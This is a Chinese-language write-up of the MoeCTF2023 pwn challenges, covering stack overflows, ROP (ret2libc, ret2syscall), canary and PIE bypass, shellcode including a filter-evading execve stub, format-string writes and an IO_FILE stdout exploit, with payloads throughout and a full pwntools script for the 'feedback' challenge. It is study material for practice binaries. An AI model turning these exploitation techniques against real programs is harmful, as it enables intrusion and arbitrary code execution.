#MoeCTF2023 Pwn WriteUp#前言今年暑假比较摆烂... 最后也没做完 MoeCTF 的 pwn 题, 只能赛后抽时间复现一遍. 复现一遍之后还是复习了不少知识点, 写一篇 wp 以作笔记.
#题目复现#test_nc连接即可.
#baby_calculatoremmm 打一个交互就可以了.
#fdfd 即 file descripter, 又叫文件描述符, 它是一个抽象的指示符, 用一个非负整数表示.它指向了由系统内核维护的一个 file table 中的某个条目 ( entry ), 后者又指向储存文件真实地址的 inode table.
一般来说操作系统会为每个用户进程预留三个默认的 fd: stdin, stdout, stderr. 它们对应的非负整数值分别为 0, 1, 2. 之后的 fd 从 3 开始分配.
反编译得到核心代码:
fd = open("./flag", 0, 0LL);
new_fd = (4 * fd) | 0x29A;
dup2(fd, new_fd); // 将 new_fd 重定向到 fd
close(fd);
puts("Which file do you want to read?");
puts("Please input its fd: ");
__isoc99_scanf("%d", &input);
read(input, flag, 0x50uLL);
puts(flag);
只需要向 flag 中读入 ./flag 的内容, 也就是输入 new_fd 即可获取 flag.
由 fd = 3, new_fd = (4 * fd) | 0x29A = 12 | 0x29A = 670.
#int_overflow整数溢出, 由于 32 位整型的最大值为 2^{32}-1, 大于最大值的数据会从 4 字节处截断, 利用这个特性可以构造输入.
#ret2text_32通过 IDA 可以看到程序明显存在栈溢出漏洞,覆盖返回地址到 b4ckdoor 中的 system 函数,IDA 中的 string 窗口也可以看到 binsh 字符串。再根据 x86 函数调用知识, 函数通过栈传递参数。
payload = b'a' * 0x5c + p32(system_addr) + p32(0x1) + p32(binsh_addr)
#ret2text_64与 x86 不同,x86-64 通过寄存器传参,前 6 个参数分别在 rdi, rsi, rdx, rcx, r8, r9 中. 通过ROPgadget可以查找 pop_rdi_ret 的地址.
payload = b'a' * 0x58 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
#uninitialized_key考察对内存的理解. 当一个程序运行于用户进程中时, 系统会分配一个虚拟内存空间, 内存里每个字里的数值并不会被初始化.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  welcome();
  get_name();
  get_key();
  return 0;
}
在 main 函数里, 调用 get_name 前会给 rsp 减去一定值以分配栈空间, 回收时会直接给 rbp 加上对应的数值回收. 调用 get_key 时分配完栈空间后并不会初始化栈, 于是 get_name 里栈上的数值会一直保留.
注意到 get_name 里的 age 和 get_key 里的 key 都是 rbp-0xC, 因此如果想覆盖 key 为 114514, 只需要提前将 age 覆写为 114514 即可.
#uninitialized_key_plus与上道题目略有不同, 这次 get_name 的 age 是一个长度为 24 的字符串, 字符串的起始地址为 rbp-0x20, 而 key 仍然为 rbp-0xC, 因此需要将前 (0x20 - 0xC) 个字节设置为 padding, 最后 4 个字节放置 114514.
注意: 不可以图省事把最后 8 个字节用 p64(114514) 处理, 这是因为根据小端序, 最终实际得到的 rbp-0xC 全为 0.
payload = 8 * b'a' + 8 * b'c' + 4 * b'b' + p32(114514)
#ret2libc没有给 libc, 但是可以通过 puts 函数得到 puts@got_addr, 从而确定 libc 版本, 进而得到 libc_base, 然后构造 system getshell.
确定 libc 版本可以使用 LibcSearcher.
如果栈不对齐可以通过加一个 ret 滑板解决.
#ret2syscall通过 ROPgadget 查看需要的 gadget, 然后根据 x86-64 下函数调用栈规则构造 execve("/bin/sh", 0, 0), 注意 execve 的系统调用号是 0x3b.
payload = b'a' * (64 + 8) + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(pop_rsi_rdx_ret_addr) + p64(0) + p64(0) + p64(pop_rax_ret_addr) + p64(59) + p64(syscall_addr)
#PIE题目虽然打开了 PIE 对代码段进行了地址随机化, 但是由于给出了 vuln_addr, 可以得到 PIE_base, 进而可以确定程序运行时其他各个函数的实际地址, 再构造 system 函数调用栈即可.
由于这道题目有 call system 这种 gadget, 所以 payload 更容易构造了:
payload = b'a' * 80 + b'bbbbbbbb' + p64(pop_rdi_ret_addr) + p64(bin_sh_addr) + p64(call_system_addr)
#little_canary这道题目打开了 canary 保护, 但是由于程序会直接打印紧挨着 canary 的 buf, 而 read buf 又存在溢出, 因此可以通过 buf 覆盖 canary 的最低一字节的 \x00, 继而 printf 时会直接把 canary 的其余 7 字节打印出来.
得到了 canary, 这道题目的其余部分和 ret2libc 便别无二致.
注意: lead canary 时只需要 sendline(b'a' * 72), 字节流第 73 位就是 0xa (即换行符).
#rePWNse简单读一下, 发现 makebinsh 函数只有在 7 个变量满足特定的条件时才可以拼接为 "/bin/sh", 并且会给出这个字符串的地址. 据此得到一个 7 元一次方程组, z3 求解即可.
得到了 "/bin/sh", 同时在函数列表里看到一个 action 函数, 已经基本构造好了 execve 的函数调用栈, 利用栈溢出传入 "/bin/sh" 后直接调用皆可.
#shellcode_level0打一个 COP. 程序没有打开 NX 保护, 也就是说栈可执行. 并且程序逻辑是读入一个 buf, 然后 call buf, 那么直接给 buf 发送一个 shellcode 即可.
payload = asm(shellcraft.sh())
#shellcode_level1char shellcode[100]; // [rsp+30h] [rbp-F0h] BYREF
char paper2[100]; // [rsp+A0h] [rbp-80h] BYREF
memset(shellcode, 0, sizeof(shellcode));
memset(paper2, 0, sizeof(paper2));
paper3 = malloc(0x64uLL);
paper4 = mmap(0LL, 0x64uLL, 3, 34, -1, 0LL);
paper5 = mmap(0LL, 0x64uLL, 7, 34, -1, 0LL);
程序开了 NX, 那么内存空间开在栈上的 shellcode[100] 和 paper2[100] 由于没有可执行权限, 自然不能使用. 而 paper3 是 malloc 在堆上的, 也没有执行权限, 也不能使用.
目光落在了 paper4 和 paper5 上, 这两个东西的主要区别就在于前者的 mprotect 赋予了可读可写可执行, 而后者则什么都没有.
mprotect(paper4, 0x1000uLL, 7);
mprotect(paper5, 0x1000uLL, 0);
那么就先 choose 4, 然后发个 shellcode 过去即可.
#shellcode_level2.text:000000000000123C 48 8D 45 90                   lea     rax, [rbp+s]
.text:0000000000001240 0F B6 00                      movzx   eax, byte ptr [rax]
.text:0000000000001243 84 C0                         test    al, al
.text:0000000000001245 74 16                         jz      short loc_125D
ida 打开, 简单阅读汇编代码可以得知, 如果输入的字符串 s 的最低位不为 0, 则会将整个 shellcode memset.
据此, 往原先有的 payload 后面加个 \x00 即可.
payload = b'\x00' + asm(shellcraft.sh())
注意小段序的性质: 为了使 rax 内存低位为 0, 那么字符串 s 的内存低位就为 0, 那么 payload 的内存低位就应该为 0, 那么 payload 的数值高位就为 0. 故 \x00 在最开头.
#shellcode_level3首先 checksec 分析题目, 注意到程序关闭了 PIE 函数地址随机化, 并且 ida 反编译可以查看得存在后门函数 givemeshell.
int __cdecl main(int argc, const char **argv, const char **envp)
{
    puts("5 bytes ni neng miao sha wo?");
    mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
    gets(&code);
    memset(&unk_40408E, 0, 0xF72uLL);
    (code)();
    return 0;
}
程序逻辑大概是向 .bss 段上的全局变量 code 读入一段不定长度的数据, 但是进一步分析可得知实际可以利用的长度只有 5 bytes, 这是因为程序里的 memset 会把 code+5 之后的所有内容清空, 故可以利用的大小只有 5 bytes.
不过我们的 givemeshell 函数地址固定为 0x4011D6 为 3 bytes, 所以是绰绰有余的.
需要注意的地方是, 由于 call 指令跳转时使用的是相对偏移量, 所以实际上需要填入的地址是 code_addr - givemeshell_addr, 但是又因为 python 理论上是没有数据范围的, 也就是说 python 没有最高位这个说法, 所以我们需要手动把得到的负数转为对应的 4 字节数字, 也就是 0xffffffff & (givemeshell_addr - code_addr).
#changeable_shellcodechecksec 分析题目, 注意到保护全开, 只能利用题目中现有的内容构造 payload.
输入的 shellcode 会被复制到 0x11451400 这个位置, 看似很简单设置 payload 为 shellcode 即可, 但是由于 filter 函数过滤了所有 shellcode 必有的 \xf 和 \x5, 因此直接输入裸的 shellcode 会被 ban 掉.
考虑一种绕过方式是把 shellcode 中已有的 \xf 或者 \x5 两者之一修改掉, 绕过输入判断后执行 shellcode 时再改回来, 即可 get shell.
为了方便期间, 确定 shellcode 中替换掉 \x5 为 \x00, 然后再在 shellcode 前加入 asm 修改 \x00 的位置为 \x5. 现在的问题在于如何确定 \x5 的位置. 根据小端序的知识, shellcode 的 "数值低位" 应该在 "内存高位", 具体位置通过动态调试两次即可确定.
payload 构造方法如下:
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x00"
payload = asm(
    """
    mov al, 0x05
    mov [0x114514025], al
    """
)
payload += shellcode
注意: 尽量使用 \x05 含量少且位置易于确定的 shellcode, 虽然不影响正确性, 但是可能增加调试时间.
#format_level0格式化字符串入门题目, 考点是通过格式化字符串泄漏栈上的内容.
payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p"
#format_level1先说非预期解, 根据题目设定, 只需要主人公的 HP 和攻击力都高于龙, 沉淀上 114514 次就应该能过, 不过就是脚本跑着比较慢.
预期解/考点是: 通过格式化字符串漏洞, 将龙的 HP 修改为极小值, 从而缩减过关时间.
payload 有两种构造方式: 将龙的 HP 变量的地址放在内存低地址或内存高地址.
两种构造方式都可以对, 只需要保证字节对齐以免夹断即可.
### 32 位下两种构造方式
payload = p32(dragon_hp_addr) + b'%7$n'
payload = b"aaaa%9$n" + p32(dragon_hp_addr)
#format_level2与上一道题目基本类似, 只是游戏胜利后不会调用 success 函数了, 因此需要转换思路.
首先, 考虑修改 printf@got 为 success@got 的方法, 发现这是不可能的, 因为 str 每次 read 的长度只有 16 bytes, 不可能在一个 str 里完成修改 (一次输出空格的方式由于输出量过大很难成功, 而修改两次的方式又会因为第二次 printf 时 printf@got 已被局部修改而失败), 因此这个利用思路没有可实现性;
其次, 考虑修改 ret_addr 为 success_addr 实现劫持程序控制流, 可以利用的 ret_addr 有两个, 分别是 game_ret_addr 和 main_ret_addr, 两个返回地址都可以使用.
具体来讲, 由于同一个函数调用栈中两个变量的相对偏移是固定的, 因此可以泄漏任意栈地址, 加上通过 gdb 调试得到的 offset 确定返回地址的位置. 然后将返回地址放在栈上, 使用 %hhn 修改即可, 构造方式可以参考 level1.
#format_level3考点: 不在栈上的格式化字符串
之前没做过这个考点的题目, 趁着这次机会好好学一下.... 首先要清楚不在栈上的格式化字符串题目的难点在哪里? 可以控制的字符串变量在栈上和在 .bss 段上产生了怎样的区别呢?
停下来思考.
问题主要出在使用格式化字符串 %hhn 写入数据上, 回想前两道题目的做法, 由于输入的字符串变量在栈上, 我们只需要良好的布局 payload, 即可控制栈上的数据为我们想要修改的地址, 再计算出该数据与格式化字符串的 offset, 通过 %offset$hhn 这种形式就可以修改该数据或该数据指向的数据 (如果有的话).
然而, 如果可控的字符串不在栈上, 我们无法有效的布局栈, 无法计算 offset (因为用到这个字符串的时候只是会在栈上复制一个引用)以修改返回地址或者函数的 got 表, 导致无法利用.
不过根据 %n 的特性, 如果格式化字符串指向的栈上的数据可以被再次解引用, 那么会对二次解引用的数据进行修改.
也就是说,
03:000c│      0xffffd61c —▸ 0x804963e (talk+16)
这种栈结构可以直接把这里的 0x804963e 修改.
06:0018│ ebp  0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40
这种栈结构可以通过 %n 修改 0xffffd658 的数值, 但是无法修改它之前或之后的数据.
根据以上的特性, 我们再来看看这个栈:
00:0000│ esp  0xffffd610 —▸ 0x804c01c (str) ◂— 0xa /* '\n' */
... ↓
02:0008│      0xffffd618 ◂— 0x10
03:000c│      0xffffd61c —▸ 0x804963e (talk+16) ◂— add    ebx, 297ah
04:0010│      0xffffd620 —▸ 0x804a231 ◂— 0x47006425 /* '%d' */
05:0014│      0xffffd624 —▸ 0x804bfb8 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bec0 (_DYNAMIC) ◂— 0x1
06:0018│ ebp  0xffffd628 —▸ 0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— ...
07:001c│      0xffffd62c —▸ 0x8049737 (game+121) ◂— jmp    804975ah
08:0020│      0xffffd630 —▸ 0xf7faed00 (_IO_2_1_stderr_) ◂— 0xfbad2087
09:0024│      0xffffd634 ◂— 0x0
0a:0028│      0xffffd638 ◂— 0x3
0b:002c│      0xffffd63c ◂— 0x3ac4d800
0c:0030│      0xffffd640 ◂— 0x1
0d:0034│      0xffffd644 —▸ 0xf7fae000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x229dac
0e:0038│      0xffffd648 —▸ 0xffffd658 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0
0f:003c│      0xffffd64c —▸ 0x8049784 (main+30) ◂— mov    eax, 0
那么我们只需要应用这个原理构造栈就好了:
将 offset 为 6 处对地址解二次引用的 0xffffd658 修改为 game 的 return address 0xffffd64c, 于是 offset 为 0x0e 处的栈会变为
0e:0038│      0xffffd648 —▸ 0xffffd64c —▸ 0x8049784 (main+30) ◂— mov    eax, 0
那么再次应用这个原理, 修改 0x0e 处栈帧的数据时就可以直接控制返回地址为 success_addr.
#feedback考点: IO_FILE
先用 checksec 检查一下程序保护, 发现保护全开. 再用 ida 反编译, 发现程序存在一个比较明显的数组指针越界.
参考一下 CTF-wiki 上关于 IO_FILE 的讲解, 由于数组指针 feedback_list 在 .bss 上, 而 stdout@glibc 也在 .bss 上, 那么就可以通过数组下溢出控制到 stdout@glibc 指针, 由于 printf 输出是走 stdout 的, 所以通过控制 vtable 参数即可做到任意地址读.
这里我们读出 stdin 的地址后, 减去 libc.symbols["IO_2_1_stdin"] 即可得到 libc base.
再根据 libc base 可以求出 puts@got, 从而得到 flag 加载的地址.
exp:
from pwn import *
proc = "./feedback"
context.log_level = "debug"
context.binary = proc
parent_path = "/home/flower/CTFhub/Contests/MoeCTF2023-PWN/feedback/"
io = process([parent_path + 'ld-2.31.so',parent_path + 'feedback'], env = {'LD_PRELOAD' : parent_path + 'libc-2.31.so'})
elf = ELF(proc)
libc = ELF("libc-2.31.so")
if args.G:
    gdb.attach(io)
def feedback(index: int, content: bytes) -> None:
    io.recvuntil(b"write?", drop=True)
    io.sendline(str(index).encode())
    io.recvuntil(b"feedback.", drop=True)
    io.sendline(content)
payload1 = flat([0xfbad1800, 0, 0, 0]) + b"\x00"
feedback(-8, payload1)
stdin_addr = u64(io.recvuntil(b"\x7f", drop=False)[-6:].ljust(8, b"\x00"))
log.info(f"stdin_addr ===> {hex(stdin_addr)}")
libc_addr = stdin_addr - libc.symbols["_IO_2_1_stdin_"]
log.info(f"libc_addr ===> {hex(libc_addr)}")
flag_addr = libc_addr + libc.symbols['puts'] + 0x16d2e0
payload2 = flat([0xfbad1800, 0, 0, 0, flag_addr, flag_addr + 0x50])
feedback(-8, payload2)
io.interactive()
#总结这次 Moe 复现还是补充了一些细微的知识点的, 以后打 pwn 需要注意的点有:
call 指令跳转时使用的是相对偏移量